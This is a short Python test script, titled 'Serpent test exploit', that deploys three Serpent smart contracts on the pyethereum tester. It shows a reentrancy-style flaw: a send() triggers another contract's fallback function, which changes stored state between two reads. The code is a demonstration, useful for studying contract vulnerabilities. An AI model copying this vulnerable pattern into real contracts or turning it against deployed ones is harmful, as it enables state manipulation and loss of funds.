Serpent test exploit

test.py

from ethereum import tester as t

code1 = '''                                                                                                                                                                  
data banana
event log_price(market:indexed)
def init():
   self.banana = 5

def getBanana():
   return(self.banana)

def stor():
   log(type=log_price, msg.gas)
   self.banana = 47
   return(1)
'''

code2 = '''                                                                                                                                                                  
extern code1:[stor:[]:int256]                                                                                                                                              
code1 = {}                                                                                                                                                      

def any():
   code1.stor()
   return(1)
   
'''

code3 = '''                                                                                                                                                         

extern code1:[getBanana:[]:int256, stor:[]:int256]
code1 = {addr1}

extern code2:[]                                                                                                                                                     
code2 = {addr2}                                                                                                                                                      
event log_price(market:indexed)

def hmm():
   ogbanana = code1.getBanana()
   send(code2, 5)
   log(type=log_price, msg.gas)
   banana = code1.getBanana()
   # do stuff with banana but banana's value has changed due to the send!
   return([ogbanana, banana]: arr)

'''

s = t.state()
c1 = s.abi_contract(code1)
c2 = s.abi_contract(code2.format('0x' + c1.address.encode('hex')))
c3 = s.abi_contract(code3.format(addr1='0x' + c1.address.encode('hex'), addr2='0x' + c2.address.encode('hex')))
s.mine(1)
s.block.gas_used
print c3.hmm(value=50)
print c1.getBanana()